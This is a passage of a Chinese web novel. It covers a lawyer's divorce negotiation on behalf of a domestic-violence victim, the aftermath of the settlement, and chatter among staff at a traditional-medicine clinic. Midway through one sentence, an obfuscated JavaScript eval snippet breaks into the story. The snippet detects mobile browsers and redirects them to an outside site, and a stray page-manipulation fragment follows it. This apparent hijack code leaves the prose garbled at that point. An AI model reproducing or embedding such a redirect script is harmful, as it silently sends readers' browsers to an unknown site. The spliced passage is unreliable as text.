余东说:“不必这么悲观黄女士,我既接了这个案子,自然有办法有手段让你拿到你该拿的东西,尽管放心提要求就好了。” 黄守英不了解,不知道原来有人这么轻易就说出有办法解决他的难题,那个像一把剑悬在他的头上,能随时要了他命的难题,竟然在别人眼里都不算问题。 黄守英眼里雾蒙蒙的,他扭头看了眼传岚和舒华,又转过来盯着余东,一字一句地说:“余律师,你要是能让范跃心甘情愿答应离婚,我只要我女儿的抚养权,你争取到的财产我愿意全部给你付律师费,我说真话,在场的都可以做个见证。” 靠在椅子上一句话未说的唐毅抬眼朝黄守英看了一眼,而后跟余东说:“谈的时候,不要把索要女儿的抚养权放在首要位置,把钱放在第一顺序,跟他谈的时候先分钱,多要钱,他不要抚养权再考虑拿过来。” 黄守英听到顿时急了眼:“不行,我要我女儿的抚养权的,我这么辛苦,能忍到现在都是为了我女儿,哪怕一分钱不要,我也不会放弃我女儿的抚养权的。” 舒华也有些不高兴,心里默默念叨唐毅进来半天不讲话,要说就说这么一句话,好没人情味,一点不懂做母亲的心,“卓雅,这人太唯利是图没有同情心了,长得好看有什么用,心坏。” 唐毅慢悠悠地说:“有时候,女人做不成事也怪不了别人,这也妥协,那也妥协,一点自尊没有,底线这么低,还谈什么,我要是你,早一头撞死了,还找什么借口。你挨打都不怕,还怕这怕那的,不觉得可笑吗?” 黄守英愣在原地,不知道该反驳些什么,只听唐毅对传岚说:“你说我说的对吗?” 传岚看着唐毅,笑着回:“你说的对。” 舒华心里泛起涟漪,传岚怎么会认同唐毅的话,完了,近朱者赤近墨者黑,传岚被带坏了。 黄守英有些无助,茫然望着传岚,传岚说:“放心,你女儿只是范跃拿来挟制你的工具,他不会想要抚养权的,相反,你越是在意抚养权,他咬的越死,越会拿抚养权来跟你谈条件,但是钱就不一样了,他不工作也没积蓄,钱就是他的命,你跟他要钱,他才会跳脚不在乎抚养权,明白了吗,既然来找律师,就相信律师的话。” 黄守英愣愣点了点头。 余东继续接着刚才的话:“是这样,不过律师费有人出了你不用担心。” 这时候唐毅又开口了:“有人出是某人的事,当事人愿意给你你就拿着,嫌钱多啊。” 余东顺着唐毅的话笑着说:“那就我们律师该拿多少,黄女士有余钱的话就付多少,这样可以吗?” “如果能分到财产的话当然可以,虽然很难为情,但说实话我身上现在没有一分钱,仅有的五百还是同事借我的。” “好的,那就先这样,基本情况我也了解清楚了,这是我的名片,请您将证据都整理好备份,发我一份,还有请将范跃的地址和联系方式也给我一份,我需要先去跟他沟通下情况,可以私下谈妥的话最好了。” “好的。” “余律师,要是性格极端的家暴男有方法让他乖乖离婚吗?”传岚出了门,好奇问道。 “当然,有难度,但不是不可以解决,每个人都有弱点,我们律所志在用法律感化这类人。” “能透露下是什么方法吗?” 余东笑着说:“这可不能,毕竟是吃饭的法宝。”两人打着哈哈笑说。 唐毅走过来,看着传岚说:“你跟我想象中不太一样。” 传岚笑着问他:“哪里不一样,你想象中的我是什么样。” 唐毅说:“不像爱管闲事的。” 传岚问:“那算印象破灭吗?”唐毅说,“那倒不至于,你看着挺假的,没想到还挺真的。” 传岚有些失笑:“哪里假了,我这全身上下,从里到外都是真真的,真的不能再真了。” 唐毅盯着传岚的眼睛,笑了笑,留下句:“真真假假,假假真真,谁又分得清呢。”就走了。 舒华走来说:“他说什么呢,神神叨叨的,什么真假假真的?” 传岚回到:“我也不知道,谁知道他在说什么,我们也走吧。” 不到一周的时间,于东就打来电话说范跃愿意坐下来俩个人好好谈谈,问出钱的传岚要不要来旁听下。 不知道余东怎么跟范跃讲的,这么短的时间就出现了转机,不过传岚秉承着“做事做到底”的原则是要去凑这个热闹,不,去跟进这个事的进程的。 舒华作为整件事的旁观者,也要参观的有始有终,自然算他一个,卓雅不知道听舒华说了什么,吵着也要去,卓雅要去,孙立德不甘示弱也要跟着去,于是一拉二,二拉三,也不好落下谁,传岚干脆通知大家下午歇业,都去算了。 于是余东就见到了这乌泱泱的一群人。 “余律师不介意我多带两个人吧,都是些单身姑娘小伙的,听说是关于离婚的,就都想跟过来学习下,想得多,怕以后遇到这种事。” “哈哈,纪小姐说笑了,纪小姐的朋友怎么会遇到这种人。” 卓雅外向,就接上了话:“嗳,这你说错了,传岚不会,但我们还真有可能会遇到,我们今天是蹭着传岚过来学习的,看看反面例子以后好把眼睛擦亮点。” 余东看传岚站在那笑着不接话,也就不再说什么,引进了律所的会议室。 众人进去一水儿地坐在了黄守英这边,十几只眼睛盯着范跃齐刷刷看了过来,各种探究,看的范跃坐立难安,屁股在椅子上挪了又挪。 范跃看着眼前的景象心里直犯嘀咕:“也不知道黄守英在哪里走的狗屎运,竟有这么多贵人助他,要是自己也能遇到有眼识珠的贵人就好了,要是有人看得见他,自己也不至于找不到工作以至于沦落到现在,居然还要看黄守英脸色,真是不公啊,老天不公。” 等半天不讲话,余东开了口:“范先生,请问您对我当事人的诉求还有哪里不理解的地方吗,或者对于财产分割您还有什么异议,都可以讲出来,我们现在是在协商阶段,有什么异议讲出来都可以商量。” 范跃这几年在黄守英身上找到莫名自尊后,发现当个耍横的无赖是何等快活,只是牺牲外表和形象就能换来他人的尊重可太划算了,哪像以前工作的时候像个狗一样,连句反驳的话都不敢说,现在,谁都不敢惹他,尤其他出门拎半瓶酒,那简直就是无敌的存在,只有人躲他的,没有他让人的。 只是太久的快活让他忘记了自己本是个胆小怕事的人,每天避让他的人也是跟原本的他一样不想惹麻烦的普通人,等遇到那些不怕麻烦比自己厉害能看出自己外厉内苒的人时,他终于想起自己的本性,看清事实老实了。 听见余东的问话,范跃肚子隐隐发痛,小腿肚也有些打颤,嗓子有些发紧,但一想涉及到钱,就不得不开口说:“我承认我动手打人不对,所以作为补偿我愿意把抚养权给黄守英,不跟他争。 “但是房子的方案我不同意,这房子我们家出了重头,是我们家全部的积蓄,怎么能给他七十的份额,之前黄守英说只要我答应离婚,他还给我十万呢,这十万我现在也不要了,这房子得给我。” 余东说:“但是您施暴是既定事实,还有,考虑到您这几年来都没工作,是我的当事人一个人在挣钱养家这点,我相信法官也会这样判的,至于孩子的抚养权也没什么好争的,您没有能力抚养自然会判给我的当事人,这不够作为您用来谈判的砝码。” “守英,你替我说句话,这几年是我猪油蒙了心做错了事,但我是责任感太强,太爱这个家了,我被辞找不到工作压力实在太大了,我精神压力太大了才喝酒的,喝醉打你是我的错。 “可你要想一想,我一开始也不是这样的,我结婚那会对你也很好的,我给你也买过衣服买过花,也带你去看过电影吃过牛排,你都忘记了吗守英。 “这房子是我父母所有的积蓄啊,你要是拿走了,我跟我父母怎么办,我怎么办,以前是我错了,我也没脸求你原谅我继续待在我身边,我愿意离婚,但是你不能拿走这房子啊,守英。” 随着范跃的话,黄守英脑海里也跟着浮现出以前的一幕幕,但是这短暂的甜蜜就能与自己这几年的苦难相抵吗。 黄守英抽出了自己的手:“我没忘记,你对我的好我都记得,但是你对我的恶呢,你记得吗?我记得,我记得我无数次的鼓励你,想要你重新振作起来,为此,我白班晚班怎么挣钱怎么来,我就想着在你想清楚之前我能先撑着这个家不让它散了。 “只要你能回到以前,辛苦点算什么呢,可是我没等来你的转变与理解,等来的却是你的拳脚,范跃,我们当初结婚不是为了想要幸福才在一起的吗,没有工作怕什么,我说过的,只要我们一家人在一起,我们回老家去种地都行,你忘了吗?我宁愿你一开始就没对我好过,也不至于让我抱着希望捱了这么久时间。” 卓雅听完范跃的话跟舒华和容巧两个交头接耳说道:“听见没,这话说的多好听,‘打你是因为责任心强爱这个家’,典型的胡说八道东拉西扯,人渣,还想用父母来博取同情,他打老婆我就不信他爸妈不知道。” 舒华说:“是啊,你别看这会斯斯文文的,打人可狠可狰狞了。” 容巧说:“果然离婚男的都是会选钱,不要小孩,有些要小孩的也是拿小孩来换钱的。” 舒华说:“没错没错,我看过网上一个关于离婚要房还是要小孩的采访,几乎所有男的都选的房,女的都选的孩子。” 容巧说:“你说的那个我也知道,都骂女的现实拜金,事实上男的更现实更拜金。” 卓雅说:“我也同意,这男的没有怀胎十月就是随便,说什么孩子可以再生,房子可奋斗不来,老现实了,这女的就是傻,当牛做马累死累活结果离婚时就为了孩子不要一分钱,这孩子要是有良心呢也还罢了,要是没良心,辛苦拉扯十几年结果被骂‘穷就不要生娃’去哪哭,要我我也心狠不要孩子要房子,凭什么让男的那么舒服。” 赵鹏飞有些哭笑不得,假意咳嗽了两下,小声提醒道:“你们待会等结束了再讨论啊,这会人正说正事呢。” 孙立德也说:“就是,一会都忍不住,又不是所有男的都现实势利,还是有好男人的。” 舒华和容巧对视一笑有些不好意思,缩了缩身影,卓雅翻了个白眼过去,也悄了声。 范跃见黄守英对自己的低声下气无动于衷,脸上维持的表情僵住了,他死死盯着黄守英,恢复了平日里说话的模样: “你说这话什么意思,难道要铁了心跟我争这房吗,你明知道我什么都没有只有这套房,你拿走是要我去死吗?” 黄守英仗着人多底气足,一点没在怕的说:“我也什么都没有,我也就这一套房,买房款我虽然出的少,但装修是我出的,这几年的生活费也是我挣得,我不要房子我跟琴琴住哪去,你要我跟琴琴去死吗,你有手有脚可以去做工,养活你一个人有什么难的。” 范跃不想听些他不爱听的话,双手握拳捶着桌子有些发狂:“所以说啊,不是我要离婚的,是你要离婚要分房的,你不离婚不就有的住了,两间房一人一间,谁都有的住。” 余东出口劝到:“范先生您冷静点,除了买房我们还可以租房的,我们把现在的房卖了每人还能得几十万,用来租房的话后半生完全足够了。” 范跃站起来指着余东的鼻子说:“你闭嘴,租别人的房怎么能与自己有房一样,我告诉你,我不怕你的,别以为你是律师就能乱掺和别人家家事,劝你还是有点公德心吧,你们要是逼我,我死也不会答应离婚的。” 余东笑着说:“到时候去法院起诉,恐怕就由不得你不想离婚了,现在还在协商,有的商量,上了法庭可就没的商量了,劝您想清楚点,您家暴我当事人的事已经坐实,各方证据链完整,而且我们已经将证据都做了封存,范先生,还是请坐下来再好好谈一谈吧。” 范跃顺势坐下,翘着二郎腿,依旧不松口说:“别以为就你懂法,我也了解过,要是去法院起诉离婚,一般第一次都不会给通过,第二次才有的谈,这前前后后要拖一两年,何苦呢,他既然要的是离婚,我答应离,离了就好了,干什么还要来分我的房子。” 余东说:“范先生看来确实了解过起诉离婚,但我也说了,你这不属于普通感情破裂的起诉离婚,是你家暴导致的起诉离婚,我们证据充足,第一次就可以判离。” 范跃不在意甚至有些得意的继续说:“可我要是一口咬定不愿意离婚,说我认识到错误,已经在改过自新了,恐怕法官看在我女儿的份上也会站在我这边吧。” 众人被范跃的可耻面目气到了,没想到一个人可以不要脸到这种程度。 黄守英欲说些什么,被传岚拦下,示意听余律师讲话。 余东笑笑:“范先生哪来的自信觉得你随便说几句话就能让法官不信证据信你的话,这也是范先生在哪看的案例吗,我作为一名律师竟都不知道,真是惭愧。” 范跃说:“你是该惭愧,知道一点就敢乱出主意祸害别人家庭,怎么不该惭愧,那新闻上男的把老婆杀了,法官都看在有小孩的份上赦免了男的死罪,我又没杀妻,不过喝醉酒扇两巴掌而已,只要我在法庭上说已经认识到了错误愿意改,那法官还不站在我这边。” 余东从业多年,见过不少奇葩, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16530091|186364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有咋咋呼呼耍横的,有胡搅蛮缠耍赖的,还是第一次见给自己上课的,要不是得保持律师的稳重与体面,他真想大笑几声。 余东保持着笑,继续说:“您说的这个案例我也有所耳闻,尽管这是不同类型的两码事,但讲个题外话,对于每个案例,每一方都有自己的考量和判断,那位法官可能有他自己的想法,但作为律师的我仅代表个人是不认可那位法官的做法的。 “同理,您也可以有您的想法,可以聘请代理您方的律师,我既接了黄女士的委托,就会严格依照法理为他争取到最大的权益,以我的专业,我可以明白的告诉您,您刚才说的例子不适用于离婚案件,法官是不会站在你那边的。” 范跃说:“放屁,你们律师就是钻到钱眼里的害虫,到处挑唆别人,吃些人血馒头,只想着自己赚钱,一点不为别人家庭考虑,不像人家法官,吃的公家饭,不为钱看,就想着老百姓的小家庭,能不拆散就不拆散,能不判离就不判离,他会站在我这边的。” 余东抹了一把脸,真想去洗个脸,这唾沫星子算工伤啊。 余东卸了笑,重新戴好眼镜,就这样看着范跃平静地说:“范先生,还请注意你的措辞,文明用语,不要人身攻击,不然我可以先告你诽谤律师。” 范跃看见余东不笑了,有眼色的老实坐好,眼神转过去看向旁边角落里的绿植又转回来。 余东说:“既然范先生没有诚心想协商的意思,那我们还是算了,直接起诉好了,看法官是会站在证据这边还是站在您这边。” 卓雅压了半天压不住了,冷笑着说:“哟哦,黄守英,原来你老公家这么有实力啊,还有当法官的亲戚,早说有当法官的亲戚,失业有什么了不起的,直接找亲戚安排份工作啊。” 黄守英有些发蒙,喃喃的回到:“他家没有当法官的亲戚。” 卓雅说:“没有?怎么能啊,你老公一口一个法官会站在他那边,我当法官是他亲戚呢,嗳,这也不对啊,这还没起诉开庭呢,受理的是哪个法官都不知道,他怎么这么自信啊,难道说法院是他家开的,还是说他爸是什么大官啊,要是他爸是什么了不得的大官你还真有可能离不了呢。” 除了脸涨红的范跃,听出意思的众人都笑了起来,范跃骂了句:“尖酸刻薄。” 传岚见差不多了,出声说道:“那就今天先这样吧余律师,我看确实谈不出什么结果了,直接走流程吧,只要不是卓雅说的他有当大官的爹,这事优势在我们,不要浪费时间了。” 说完众人起身准备撤了,这时范跃倒有些着急,忙起来说:“等等,再谈一谈,我再想想,你们不是要协商吗,我们再协商协商。” 几人互相看看,黄守英看了看余律师和纪传岚,等他们的意见,传岚说:“那再坐会,只是要谈,就真心实意的谈,不要浪费我的时间说些有的没的,现在是四点,最多再谈一个小时,我还赶着吃饭呢,明白了没。” 范跃点头坐下:“咱摊开了说明白,这房当时买的时候九十六万,我们家出了六十万,你们出了三十万对不对,剩下六万贷款是我还的,相当于这个房我占63%,小孩的抚养权给你,我做错事让一步,房子一人一半怎么样,够有诚意了吧。” 黄守英说:“我家还出了20万装修呢。” 范跃生气,又不得不压住气说:“装修不算,你看哪个分房的把装修算进去了,你要是不愿意,那你砸了我没意见。” 传岚有些意外,这刚开始还一分不要呢,现在连装修费都想拿回来了,看得出胆子大了。 余东问黄守英:“黄女士您看呢。” 黄守英已经很满意现在的条件了,也不想逼太紧搞出事端,而且协商好了去离婚也快点,不拖太久了,免得日久生变。 黄守英说:“我同意他的方案,就这样吧余律师。范跃,念在我们夫妻一场的份上,我愿意退一步,大家各退一步,以后就好聚好散吧。” 范跃见黄守英同意了他的分法,也高兴不起来,说:“我还有一个问题,这个房我不愿意卖,但我会租出去一间,将每个月的房租都转给你。” 卓雅说:“妈呀这一个月房租才多少钱啊,这要转到猴年马月去啊,这房租不出去就不转了是吗?” 范跃瞪了卓雅一眼,不情不愿地说:“可以写字据,签合同也行,反正该你的那部分我会慢慢转你的,除了房租,我也会去找工作,总之会还你的。” 期待了多少个日夜希望他能拾起信心重新找份工作,哪怕不为了家里,只为他自己也行的想法,没承想走到离婚这一步才听到,黄守英心里冒出一股难以严明的滋味,酸涩无比。 “那就写吧,以后每月汇款的时候就抱着忏悔的心将钱打过来,这是你该得的,该我多少,一分也不能少,一年还不完就两年,两年还不完就五年十年,用你下半辈子来还,这是你欠我的。” 众人不解黄守英为何要答应这种不靠谱的方案,还欲劝解分析一番,哪知黄守英接着又说:“余律师,真是对不起,不能一次性给您结清律师费,我给您写一张欠条,到时候分期按时打给您可以吗。” 余东有些为难,看向传岚,其实最开始说好律师费由纪传岚出,黄守英不用出,但后面唐毅意思黄守英既有心,那就得收,唐毅也是想看黄守英是不是真的有破釜沉舟离婚的心,看大家伙忙这一场值不值当才说了那个话,倒不是真的让他收两份钱。 余东见纪传岚看着他笑不说话,心里转了一圈,说:“律师费的事先不着急,大家都是朋友,等事情彻底结束再讲也是一样的。” “那就先这样,这件事也算结束了,没事我就先回去了,后续跟进处理还要麻烦余律师多费心,有需要我的地方尽管call我就好。” “好嘞好嘞,纪小姐慢走。” 卓雅起身边走边问,“怎么没见唐毅过来啊,你不是说他上次过来了吗?”舒华说,“上次他确实在啊,跟余律师一起过来的,今天是没见他呢。” 余东要送他们出去,听见问唐毅的,说:“上次是他做中间人带我过来的,今天没他什么事他自然不会过来。” 卓雅哦了一声,也没说啥,就跟着一起出去了。 这边传岚一行人走后,余东就他们二人的要求补充了一些明细,敲定后当场拟了合同签了名,这事也算有了个结果。 黄守英出门就跟家里打了电话说了这事,说完又给李山重打电话,希望他能过来帮忙一起去接下琴琴。 范跃恍恍惚惚的签了名,拿着合同不知道去哪,看见黄守英,脑子里莫名想起刚才他说的那句“用你下半辈子来还”。 “用你下半辈子来还,这是你欠我的。” 不过几分钟,范跃脑子里响了无数遍那句话,他突然跑过去找到余东说:“我愿意卖房,你拿去卖吧,按市场价卖了给我一半就好了,刚才的合同不作数。” “你确定愿意卖房分财产吗范先生?”余东不明白范跃为何突然又愿意卖房了,明明之前还死守着不松口,但他没有深究,愿意卖房切割财产是好事,余东连忙打电话将黄守英又叫了回来。 黄守英问道:“你怎么又转变想法了?”,范跃说,“我想了下,既然都离婚了,我也没必要在城里守着座死房子,还是把钱拿在手里的好。” 黄守英又问:“你拿了钱准备做什么?不会拿去喝酒吧。”范跃说:“不喝了,我拿了钱就回老家算了,也不想奋斗了,回去跟父母住一块,应该也够了。” 黄守英停顿了一会,用很平静的语气说:“在知道今天要跟你协商离婚的前一晚,我紧张的没睡着,后来醒着醒着就睡着了,睡着后做了个梦,你想听吗?” 范跃说:“你说。” “我梦见我们终于离婚了,我带着琴琴走了,你拿着我给你的十万块钱使劲地喝大酒,然后一个人喝死在家里了,没人知道。” 范跃听完,心里泛起了一丝涟绮,面上却是不显,笑着说:“也许你做的不是梦,可能我已经真的死了,在另一个时空。” 黄守英看着他不说话,范跃说:“那你呢,拿了钱准备干嘛。” “我也要回老家去了,城里生活太累了。” “是我对不起你。” “你不要道歉,事到如今,我不想听也不想就这样原谅你。” “那你走吧,后续的事余律师会看着办的。” 于是,守英就真的走了,再没回过头。 13. 行善得善,行恶得恶1 黄守英的事也算告一段落,但传岚还是能时不时从舒华嘴里断断续续隔三差五的听到消息。 舒华说琴琴现在由黄守英父母带着,原本黄守英就是独生女,这会离婚带着女儿回了老家,两位老人也是欢喜有人陪,一起长大的邻居大哥有心求娶他,但才摆脱上一段噩梦般的婚姻,黄守英不敢轻易再跨进去就婉拒了,李山重也明白症结所在,并未逼迫,只是往黄老爹家跑的更勤了,那些重活也是抢着干。 黄守英跟舒华说,要是真的哪天自己想开了,也可以再次开始新的爱情,但不会再扯证了。 传岚听着传达过来的消息问:“你什么时候加的他微信,我都不知道。” 舒华说:“就上次,出去的时候顺手加了,他本来想跟你说的,但知道你忙就没有打扰你,让我跟你说下,他现在过得挺好的。” 传岚说:“那就好嘞。” 容巧走过来笑着调侃说道,“舒华都快成我们仁济堂的编外人员了,这什么消息都能知道,靠着他,我们都吃到完整的瓜了。” 卓雅说:“可不是,以前怎么没发现舒华原来是这么八卦的人,刚来我们医馆的时候,一幅蔫萝卜样,无精打采有气无力的,你们看现在,还哪有以前的样,根本就是瓜田里的猹嘛,活力满满,到处乱窜。” 舒华被打趣得有些不好意思,传岚接过话:“还不是跟你们待一起待久了,都同化了。” 舒华想起正事,说:“你们也别急着笑我,我想起件事,传岚,黄守英说想来找你看下多梦的事,我忘跟你说了,按他说的,估摸着明天就过来了吧。” 卓雅对容巧说:“笑早了,舒华还给我们拉业务了。”俩个人对视一眼,不知道又想到什么好笑的事了,挤在一起笑个不停。 传岚点头以示了解,朝着卓雅那边说:“你们俩再笑,待会有人进来看见我们这样都不愿意进来了,也不知道谁排的班,把你们两个排一起了,这不是助纣为虐嘛。” 卓雅说:“我不想跟孙立德搭档,就找纪老师调了班,传岚你说这话我不同意啊,我跟容巧一起怎么就助纣为虐了,虐谁了。” 传岚说:“虐我,叽叽喳喳吵的我头疼。” 卓雅对容巧说:“巧巧你听听,传岚好没良心啊,以前还叫人雅雅姐,现在是有了新人忘旧人,嫌我们两个吵了,看来我们俩已经被打入冷宫了。荣冷妃,你对此有什么看法吗?” 容巧:“有看法,我不想叫荣冷妃,不好听,我想叫巧妃。” 卓雅:“那我就是雅贵妃。” 容巧:“你为什么是贵妃,我也要当贵妃。” 卓雅:“不行,我比你早来,自然是贵妃。” 容巧:“就差几天而已。” 卓雅:“差一天也只是差,差一秒也是差。” 容巧还欲说些什么,正巧进来了一位顾客,俩人立马闭嘴切换了专业态度,各司其职,各忙各事去了。 舒华惊叹于俩人的切换速度,看向传岚,传岚放下手里的书笑说,“别看他俩经常没个样子的打闹,职业操守还是很强的。” 舒华说:“看的出来挺专业。” 传岚笑着说:“跟你们老师一样的,进教室前,无论什么表情什么心情都要切换过来。” 舒华想起自己每次进教室之前都要故作严肃的样子笑了起来,说:“没错,还真是,尤其是刚工作那会,生怕自己太亲和了撑不起气场叫学生看不起,没有威信。” 传岚说:“是的,年纪轻,已经在经验上给人不安心的印象了,要是再嘻嘻哈哈的不端正态度,谁还敢信任年轻人,不过这也没办法,都这样,哪怕年轻人接受掌握的是最新最全的知识,也抵不过经验来的让人安心,要不怎么说医生老师会计越老越吃香呢,就熬吧,总有香的那一天。” 卓雅那边结束了拿药,过来说:“怕是熬不到香的那一天,头发都掉光了。” 传岚说:“秃了代表你强了,你看医院里那些秃顶的医生,好受欢迎啊,还说秃头是聪明的象征。” 卓雅说:“狗屁理论,那男的秃了就秃了,反正短头发,但我这长发可掉不成秃头,别最后给我掉成裘千尺了。” 舒华说:“我一直很奇怪,那些秃顶的医生为什么不给自己开药吃把头发长起来,其他科室的也就罢了,秃顶的医生给秃顶的患者看病,患者难道不会怀疑医生的医术吗?” 舒华神来的问话惹得几人大笑起来,认真说,还没人想过这个问题,大家又七嘴八舌说了起来,卓雅先发制人发表了自己的看法,“没准医生已经吃了,只是自己没什么效果就摆烂了。”容巧有不同看法,“也有可能是医生太忙了,加上他压根不在乎自己秃顶的事,根本就没吃药。” 几人又问传岚,传岚想了想说,“可能不想吃药怕吃药吧。”几人听完“咦”声一片,显然不认同这个说法,卓雅说,“又不是小孩子了,怎么会因为怕吃药就不吃药了呢。” 传岚本是无意随口一说,现在只好哭笑不得继续说:“大人怎么了,又不是所有大人都不怕吃药,再说了,不管是大人小孩,根本没人喜欢吃药啊,秃顶的原因那么多,可能对医生来说,掉发对健康没有什么直接影响,只是美观的话,他觉得没那么重要,他不想吃药没什么问题吧。” 卓雅说:“也行吧,确实也没人喜欢吃药,尤其是中药这块我深有体会,老年人还好些,年轻点的,每次来我这就问‘这药要吃到什么时候啊医生,能不能不吃了啊,好苦啊’,我也知道中药确实苦,但没法啊,这不吃哪能好啊。” 呆了一上午,也没什么患者,传岚待得有些疲倦,便说:“你们先待着吧,我有事要回去一趟,下午就不过来了。”说完扭头对舒华说,“你呢,你周末应该没事吧,可以继续待会聊聊天,二楼有午休的地方,可以和他俩一起午休。” 舒华笑着说:“我没问题啊,就看他俩嫌不嫌我烦,会不会打扰他们工作。” 容巧笑说:“现在说这话晚了,早打扰了,也不差这一会了。” 传岚说:“那你就多待会吧,他们两个值班也很枯燥,你陪着说说笑笑一会就过去了,我先走了啊。” 继上次跟齐院长聊过之后,传岚思前想后心里始终觉得哪里有些不对,尽管齐院长说这个李大奎是打零工的不是司机,但传岚还是决定要再去探一探究竟,以前没往这方面想倒也罢了,这一但开始有了怀疑,就不能不亲自去验证下到底是不是自己想的那样。 鉴于传岚还未拿到法定意义上的执业医师资格证,他计划去养老院开展义诊还需要征求自己姑姑纪明礼纪医生的支持。 传岚将计划说给明礼听,明礼就传岚的出发点也是第一时间给与了肯定:“你有这个想法很好啊,我学医行医大半辈子了,除了一些医院间的学术交流,很少有去偏远地区或者地级县市的机会,我认为医学不同于其他行业,要多多交流多多分享才好,像这种义诊就很有意义,你计划什么时候去,跟养老院的领导对接好了吗,我要看下我的时间。” 传岚说:“不着急姑姑,这个计划我已经和齐院长说过了,他那边的时间可以配合我们这边来安排。下周二怎么样, 下周二仁济堂歇业一天,我们都去。” 明礼说:“周二不好,仁济堂的患者也有需求,周三吧,周三我休息刚好有时间。” 传岚说:“周三会不会太紧了些,要是安排在周三的话,你要连着上四天班了,吃不吃得消啊。” 明礼笑着说,“吃得消,别看姑姑四十好几的人了,但身体还年轻着呢,你看姑姑这脸,像是四十好几的人的脸吗。” 传岚笑着说:“顶多三十来岁,不能再多了。”明礼被夸得高兴,“那是,你姑姑我一辈子没受过结婚生娃的苦楚,这个年纪有这种状态不是吹的。” 传岚笑着说:“还用吹吗,光我碰见就好几个送花的了,要再算不知道的,那不得从这排到法国去了。” 明礼见传岚说这样夸张,起身捶他,笑骂道:“翅膀硬了是不是,拿姑姑说笑,不过说起这事我还烦呢,怎么拒绝都没用,净是些死皮赖脸的,都说那么直白了还装听不懂,害我被人指指点点。” 传岚听懂了,倒杯水递过去:“不是真心喜欢姑姑的,那就是想图点什么。” 明礼接过喝完放在桌上:“肯定啊,各个想扯上我踩着我上去,连我没法生育都变得一点也不重要了,他们心里打的什么算盘打量我不知道吗,恶心,还不如我前男友坦率,起码他是真的想要小孩因为我不能生才跟我分的。” 传岚想问姑姑为什么不做手术借助医学手段来拥有自己的孩子,但他不知道能不能问,于是说:“姑姑前男友,是那位姓田的叔叔吗?我记得他,他当时眼里心里都是姑姑,好像很喜欢你。” 明礼叹了口气,说:“是他,我也很喜欢他,但他家里不同意,他说他爱我,现在可以不要小孩,但他无法保证以后还是不是这个想法,他很诚实,我也有过做试管婴儿的想法,但是了解之后还是放弃了,我一想我要为他扎上百针就觉得没那么爱他了。” 传岚问:“不能领养一个吗?” 明礼起身:“他家想要亲孙子,不想要外人。” 那就没法了,确实只能分了。 明礼接着说:“算了,不讲这些陈芝麻烂谷子的事了,你看着定好时间,再看看有没有什么需要准备的,让赵鹏飞他们提前准备好,我要去眯会了,上了年纪,是要休息好才行。” 星期天,黄守英跟李山重过来的时候李山重手里还提了一堆东西,黄守英笑着说:“都是自己家棚里种的,没打药,拿来给你们尝个鲜。” 传岚嘴上客气了下,“不用麻烦的,这大老远带过来多不容易啊。”黄守英说,“不麻烦,自己开车过来的,也没多少东西,我知道你们什么都不缺,也没什么好送的,自家种的就是个心意,一直想谢谢你们,要是没有你们真的。”想起以前,黄守英的声音有点哽咽,眼圈里蓄满了泪。 “那谢谢啊,东西我们就留下了,你先跟我过去吧,这主要是为看病,先忙正事。”说着就领着黄守英进了里面的就诊室。 赵鹏飞跟孙立德帮忙将带来的东西先整理了收到旁边,先把位置腾出来,俩人等传岚待会出来再看放哪。 孙立德见男人一言不发坐在椅子上干等,过去倒了杯水给他,“你是李山重吧。” 李山重起身接过水坐下,惊讶地回到,“嗳,我是李山重。” 孙立德拉过一把椅子坐在他斜对面,“听说你想追人家被拒了啊。”李山重用鼻腔发出了一句“嗯”。 孙立德又问:“你今年多大了?之前结过婚吗,为啥想找他啊,照他这经历,怕是一时半会不会答应你的,被伤怕了,哪还敢再步入婚姻啊。” 李山重说:“我三十二了,没结过婚,我不会让守英受到伤害的。” 孙立德:“这年纪也不小了,怎么没结过婚,是因为有什么问题吗?” 李山重:“我不爱去城里算吗,相亲对象都希望去城里生活,我不愿意去,就这么拉倒了。” 孙立德又问:“为什么,城里生活便利,工作机会也多,还有为了小孩以后的教育,大家都是往城里走的,你为什么还不爱来城里呢?” 李山重嗫嚅着半天不说话,见孙立德一直盯着他等回答才小声说:“城里太脏了,偶尔来还行,一直住不行。” 孙立德被李山重的话惊住了,他以为对方是有什么难言之隐,结果人家居然说城里太脏了,孙立德也是第一次听说城里比乡下脏的。他追着问:“你是说城里脏,比乡下脏?我没听错吧?” 李山重说:“平均的看,城里就比乡下脏。” 孙立德哭笑不得:“为什么啊,你从哪儿见的城里脏啊,这无论怎么看,都应该是城里干净吧,你从乡下一路过来,不说远处的,就我们这一块,哪不是干干净净的啊。” 李山重认了真,一字一句输出他独特的理解:“城里的脏是人多的脏,人挤的脏,你们这干净,那是因为你们在商业街,是新的贵的,等时间久了就脏了。 “我们要是来城里,住不起干净的地方,能买的起的就是一栋几十层高的楼里的一户,楼下巴掌大的地方要容纳好几千人,一小部分素质低的人吐口痰,你走过去,一步一口,但我在乡下,就算素质低的占多数,那也比你们城里占少数的人少,再加上我们乡下宽敞,几十米不一定能见着一点痰,还有一个,城里到处都是硬化的,绿地土地太少了,你那一口痰,能在柏油马路躺三天,最后沾到赶路的人鞋底才算完,这不脏吗?” 孙立德虽然没住过这种小区,但去过老城区,那些拆不掉的楼房改装出租,被称为“脏乱差”的代名词,楼房,时间久了拆不掉盖新的,好像是会走向脏乱差的固有结局。 孙立德似乎理解了李山重的意思:“好吧,你说的好像有一定的道理,那也有不去城里,愿意留在老家的女生啊,你没多相几个吗?” 说到这的李山重红了脸,说:“没,没相上。” 孙立德说:“那你不愿意去城里,怎么还追黄守英,他从城里回去,娃大了念书还不是要去城里。” 李山重望着就诊室方向,腼腆的说:“读书租房,可以短时间待在城里。” 孙立德说:“你倒还挺灵活变通的。” 两人聊完就各忙各的事去了,没一会儿,黄守英就出来了,传岚拿了药方给赵鹏飞过去抓药。 李山重见黄守英出来,忙起身迎上去:“怎么这么快就出来了,看的怎么样了?” 